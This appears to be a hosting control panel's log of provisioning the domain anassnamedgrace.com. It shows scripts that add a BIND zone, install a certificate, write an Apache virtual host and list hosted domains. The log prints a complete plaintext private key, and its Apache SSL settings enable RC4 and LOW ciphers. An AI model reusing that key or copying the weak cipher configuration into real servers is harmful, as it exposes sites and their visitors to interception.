MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= f528c9aa02ebb4638264fc82862875f3
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-06-13 14:45:53: 

PUT: /tmp/pkp806378

#!/usr/bin/python3
import os, grp, subprocess, time
from pwd import getpwnam

#target cache files
HASH = '26d0b9e50bf0aadee17752807d692a2e'
ZONE_NAME = 'anassnamedgrace.com'
TARGET_FILES = '/var/cache/bind'
LOCAL_FILE = '/etc/bind/named.conf.local'

uid = getpwnam('bind').pw_uid
gid = grp.getgrnam('bind')[2]
try:
	os.chown(TARGET_FILES + '/' + HASH + '.conf', uid, gid)
	os.chown(TARGET_FILES + '/' + HASH + '.txt', uid, gid)
except Exception as ex:
	pass

PAYLOAD = 'include "' + HASH + '.conf"; # ' + ZONE_NAME
#text to insert into local
hash_present = False
with open(LOCAL_FILE) as fp:  
	line = fp.readline()
	while line:
		if HASH in line:
			hash_present = True
			break
		line = fp.readline()

fp.close()

if not hash_present:
	fp = open(LOCAL_FILE, 'a')
	fp.write(PAYLOAD + "\n")
	fp.close()
	# call = old python, 'run' python 3.5+
	subprocess.call(['rndc', 'reconfig'])
else:
	subprocess.call(['rndc', 'freeze', ZONE_NAME ])
	subprocess.call(['rndc', 'reload', ZONE_NAME ])
	subprocess.call(['rndc', 'thaw', ZONE_NAME ])
	time.sleep(3)


2026-06-13 14:45:53: 

chmod 755 /tmp/pkp806378; /tmp/pkp806378; rm /tmp/pkp806378

2026-06-13 14:45:53: 




2026-06-13 14:45:53: 

PUT: /tmp/pkp290807

#!/bin/bash
rndc reload anassnamedgrace.com 2>&1


2026-06-13 14:45:53: 

chmod 755 /tmp/pkp290807; /tmp/pkp290807; rm /tmp/pkp290807

2026-06-13 14:45:53: 


zone reload up-to-date


2026-06-13 14:46:03: Establishing a connection
2026-06-13 14:46:03: 

PUT: /tmp/pkp570754

#!/bin/bash
temp_file=$(mktemp)
TARGET=a86a725f22b47d8df1b5d61e4e299a76.crt

cat > $temp_file <<'endmsg'
a8:6a:72:5f:22:b4:7d:8d:f1:b5:d6:1e:4e:29:9a:76

-----BEGIN CERTIFICATE-----
MIIDejCCAmKgAwIBAgIUFwdqnj6jSZeqws/7c2+Sx2yjCAIwDQYJKoZIhvcNAQEL
BQAwOzEaMBgGA1UECgwRVGhlWW91bmdEZXNpZ25lcnMxHTAbBgNVBAMMFFRoZVlv
dW5nRGVzaWduZXJzIENBMB4XDTI2MDYxMzE0NDYwM1oXDTI3MDYxMzE0NDYwM1ow
HjEcMBoGA1UEAwwTYW5hc3NuYW1lZGdyYWNlLmNvbTCCASIwDQYJKoZIhvcNAQEB
BQADggEPADCCAQoCggEBAMvvsZ5D1ZwOIB176eGr9ZNzyVOG3r7pI87vHv1YN5Bq
OSwxRaFXLosYOP+jHyQfF1C58VPU2jt8eoqpqs+uIMdb3gKsOcgPCVhebn3hH5hq
5C7VKQg/+d14VclLYHmMAA7a6wUwE5gJufAAQM4RFWv4SL0P6ElE8O73vd62NOJh
woKAUqSRG0cwWR2/e0QIShd62nq3RFc7dCGaBbznlV/mW+eALqEkwgFZiwUd6lh5
BiH/a4WiXc/V6FB+rEqVfVoZDd/f23GyF3NU2434gL3mkMRqKNGTULvGf3F2ICkG
U9BmHGN+3pzTMLS5xhAR1//b8QqOf8bHt2RGMJ36xfsCAwEAAaOBkjCBjzAdBgNV
HQ4EFgQUOhzIYt2czDR6c4/4X1K40GB2mPYwHwYDVR0jBBgwFoAUhZtuDP3NJLXh
9dCkAziCV0swc/wwCwYDVR0PBAQDAgWgMAkGA1UdEwQCMAAwNQYDVR0RBC4wLIIT
YW5hc3NuYW1lZGdyYWNlLmNvbYIVKi5hbmFzc25hbWVkZ3JhY2UuY29tMA0GCSqG
SIb3DQEBCwUAA4IBAQA3Y9/cY0xrrkd1KaPltapyHbU5p6QftZf2a+V5bHo/BTrf
gPQ9cuNtluQ55cxfbcQLmr/46Hk0wrAXSCYzrYvRidn5TK15UbgzuMrd+pBKhoC0
P393uz3ydLLCuliey9za8pQMfO27Q16nC33J5KIEwKCxPu2fgV8jWxMSBPGJAFuY
pNTp5uPtaxaEO3Fx0vwGoKsOXhPwo+bbOgiGr9QfW1xkYZeBvcvM6DQJzdR8k5Dt
AzbF2OKSp618V8RYH7+2OlTOpQ3u0DEJx8wbhSuc1nFdca+Mpuy54xVTd9Kf1FM0
Wad7D9jVibc8MG37wfzmqLlyjDFib4zQ/rXSUs3r
-----END CERTIFICATE-----


-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDL77GeQ9WcDiAd
e+nhq/WTc8lTht6+6SPO7x79WDeQajksMUWhVy6LGDj/ox8kHxdQufFT1No7fHqK
qarPriDHW94CrDnIDwlYXm594R+YauQu1SkIP/ndeFXJS2B5jAAO2usFMBOYCbnw
AEDOERVr+Ei9D+hJRPDu973etjTiYcKCgFKkkRtHMFkdv3tECEoXetp6t0RXO3Qh
mgW855Vf5lvngC6hJMIBWYsFHepYeQYh/2uFol3P1ehQfqxKlX1aGQ3f39txshdz
VNuN+IC95pDEaijRk1C7xn9xdiApBlPQZhxjft6c0zC0ucYQEdf/2/EKjn/Gx7dk
RjCd+sX7AgMBAAECggEAE2OzuH9slMzHAuagIwOtcpqEnrto/C/AZtFXWfEEP2fK
DciVfTSDyVfBO5TvxghquBMlvbm0EgnQwNRG2D4PAcVbQ1fKmpnLYqp/yNoZne0z
yrwbjZw/jm39ggj3oDbOXpsz0ydyBXePRSFRCAaZyc0uZUNY63ZxjdbiJ4WdW5SS
QKmK+EQzN0DIBn6XXAWjEv3wOToR8U1pQFmvJL7JRvsAafF2Y1U3XJVjifhQzYCd
uTwtQV4gv95149FLNU3E5UUYJZ+Kt1CyGVUPc7LtEkopdKY90SgmnsoyCkgYa5TJ
+tAb1QXyvhN5gylbfcdF5+bmQWAxniYeOT3/Slt4WQKBgQD6DvUiGup5HOPplRsZ
ZuoEYTZ5P8Mw2Xra1/wDQYP+e3j/DefuFlczN1HosWXdXL50rVQiVKEubuYPgn5X
KlfluxU5Wi6DXL4VhKiDCAAslxa1I/EFRq34Fuhw++Yv78i1w5Mv2ciZ9jGZIKOP
SwQJJMZJPQmIz30KSJc9pKzONwKBgQDQyC/ffCsHv+OI1Ko46wFNspwrXHd1bBzF
QhnxSnW0+dyvwvZIJryFJHfKc8VpoyHtsowKjkBo8FCHkYRL0PKaqOq1zWYQBlnh
jmeen8F9ZFj3+7GxjoM+o8QEAQo4Iq0uUMZTU7HCKg2J/osIVpYZf/delAXuM2jm
Pg/4Ql0EXQKBgBbmm8id0m95F95ii3LOHAx+orCECGpG4Jt+QFREAcSipjglm+IQ
JbhJDrVS2dNmFQM2hIgIXCKWgXdWKh/tftNJSO5RtgTNz5LE7XHin7F1vNymCALF
sFUSNAN07mXhfe43lRlCxr5i77Poa1JKOnpj5cz7TA49gmQYtdEtba4NAoGBAKJF
RXgk8OjoCrgZ2me8t9mk3d6R0sMwETh7xOAWaGAN56mwFW1EtjehfX2b967APSmb
IV8+6u7lASItRq8KqtTsPuioyQ/hb9BwtzbBokiMSt4LATQouPdhn4MhL8krooCi
BVNUdI+d0cIUVglYCveszx3yXJ2j1X9Gc3EYW2V9AoGAJQVFUkZK3U0p45usSelF
irbXWI0+br90c6Qm9E19WJnFOxYzP3Vvm41u4Gv0nbT4aodNhC9M5YnMZWTp722d
1usqla7ZPwWLVKlCNvPE9veSMW6D61gCChk+g95XqWDY35R/tIEWN508zG06XC5a
f2cZ+a6rFY1xl4q273Qo/II=
-----END PRIVATE KEY-----



endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-06-13 14:46:03: 

chmod 755 /tmp/pkp570754; /tmp/pkp570754; rm /tmp/pkp570754

2026-06-13 14:46:04: 


dir=/etc/ssl/certs


2026-06-13 14:46:04: 

PUT: /tmp/pkp672392

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-available/anassnamedgrace_www_com.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-06-13 14:46:04: 

chmod 755 /tmp/pkp672392; /tmp/pkp672392; rm /tmp/pkp672392

2026-06-13 14:46:04: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/anassnamedgrace_www_com.conf 557

<VirtualHost *:80>
    ServerName	anassnamedgrace.com
    ServerAdmin	do_not_email@example.com
    ServerAlias www.anassnamedgrace.com
    DocumentRoot	/var/www/anassnamedgrace_www
    <Directory /var/www/anassnamedgrace_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    CustomLog	/var/log/apache2/anassnamedgrace/www_access.log combined
    ErrorLog	/var/log/apache2/anassnamedgrace/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>





2026-06-13 14:46:04: 

PUT: /tmp/pkp779621

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=anassnamedgrace_www_com.conf
TARGET=/etc/apache2/sites-available/anassnamedgrace_www_com.conf
DOCROOT=/var/www/anassnamedgrace_www
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	anassnamedgrace.com
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.anassnamedgrace.com
    DocumentRoot	/var/www/anassnamedgrace_www
    <Directory /var/www/anassnamedgrace_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/anassnamedgrace/www_access.log combined
    ErrorLog	/var/log/apache2/anassnamedgrace/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	anassnamedgrace.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/a86a725f22b47d8df1b5d61e4e299a76.crt
    DocumentRoot	/var/www/anassnamedgrace_www
    <Directory /var/www/anassnamedgrace_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    CustomLog	/var/log/apache2/anassnamedgrace/www_secure_access.log combined
    ErrorLog	/var/log/apache2/anassnamedgrace/www_secure_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>


----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p /var/log/apache2/anassnamedgrace
	mkdir -p $DOCROOT/$PUBLIC
	chown -R phil:phil $DOCROOT
	ln -s "..//etc/apache2/sites-available/anassnamedgrace_www_com.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/anassnamedgrace_www_com.conf)= /etc/apache2//etc/apache2/sites-available/anassnamedgrace_www_com.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-available/anassnamedgrace_www_com.conf= 1'
fi


2026-06-13 14:46:04: 

chmod 755 /tmp/pkp779621; /tmp/pkp779621; rm /tmp/pkp779621

2026-06-13 14:46:04: 


chown: invalid user: ‘phil:phil’
link(/etc/apache2/sites-enabled/anassnamedgrace_www_com.conf)= /etc/apache2//etc/apache2/sites-available/anassnamedgrace_www_com.conf
file(/etc/apache2//etc/apache2/sites-available/anassnamedgrace_www_com.conf= 1




STDERR:
chown: invalid user: ‘phil:phil’


2026-06-13 14:46:04: 

PUT: /tmp/pkp858873

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-06-13 14:46:04: 

chmod 755 /tmp/pkp858873; /tmp/pkp858873; rm /tmp/pkp858873

2026-06-13 14:46:04: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-06-13 14:46:04: Establishing a connection
2026-06-13 14:46:04: 

PUT: /tmp/pkp954879

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-06-13 14:46:04: 

runuser -l bind -s /bin/bash -c '/tmp/pkp954879; rm /tmp/pkp954879'

2026-06-13 14:46:04: 
2026-06-13 14:46:04: 

PUT: /tmp/pkp701796

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/bind/named.conf.local')
    show_file('/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.conf')
    show_file('/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.txt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-13 14:46:04: 

chmod 755 /tmp/pkp701796; /tmp/pkp701796; rm /tmp/pkp701796

2026-06-13 14:46:04: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/bind/named.conf.local	5171
//
// Do any local configuration here
//

// Consider adding the 1918 zones here, if they are not used in your
// organization
//include "/etc/bind/zones.rfc1918";

include "0299c0c61c7ba070834ba2dd758c9c51.conf"; # biblealive.us
include "25162dac9ffbcb0be59287b7a9bde7f4.conf"; # carelinks.net
include "54524ffc708f1919654eee3e8e8e8adb.conf"; # carelinks.org
include "265e805c99c946847c9512ae0a2f1979.conf"; # Unknown Zone
include "94cdb93348589672ae2f4f7d5cf38aba.conf"; # christadelphia.net
include "695c92f1e52b32224b4afd59cf37d6f1.conf"; # heaster.org
include "a9ce89f9cbbf500822cbde90492a4b59.conf"; # c-c-n.net
include "1a70a64890644d614d006709f4d07011.conf"; # bookofjames.info
include "76868f6e068adf5f82f053b795932883.conf"; # aletheiacollege.net
include "b64ede8e027cbe0b900c74b7dad61fc6.conf"; # hristadelfiane.org
include "a6604325e1e95bb658a4876ded716488.conf"; # realchrist.info
include "c23c0a067c65fe695faa3f188e27944c.conf"; # realdevil.info
include "0a6ad15e551aafb493c6806effeddcf2.conf"; # thisisyourbible.info
include "7695e2001b9158b46e53b17c49af86b5.conf"; # murrayyoung.com
include "063b25bf16976ce1a2c836785c63433d.conf"; # bible-basics.info
include "e3a645e9cd9a48a14dd8493b70d9eeb7.conf"; # n-e-v.info
include "62fb2e372bc0a32115fbc83c762f20b5.conf"; # biblebooks.org.uk
include "9b1deba5ba095e87244f37a8e3f127c3.conf"; # exjw.org.uk
include "32d4fd93b17a2291b23647ec24f8da21.conf"; # vards.info
include "de5342f930e16cce802d35118a2fa8d3.conf"; # waltonecclesia.info
include "6f67b388e6765da580018fda67333d25.conf"; # tacomaecclesia.net
include "9c176806fc238e21c915b63d0649fc22.conf"; # shiretune.com.au
include "1e54f6c33ee3ca2eea403fca319b0ee4.conf"; # r-b-c.org
include "2debffd89b49e0229c33680cd8802ecb.conf"; # maminas.info
include "7be199ed365109a6d40950ee59d1f556.conf"; # carelinksoutreach.info
include "eebb27648fd2a6fb3ddcc9ab90e7112b.conf"; # baptizo.info
include "1f505a75628761de494a35ab69db20dd.conf"; # carelinksaustralia.info
include "88c5638dfb94d699fd48b1feb9d60cff.conf"; # biblebasicsonline.com
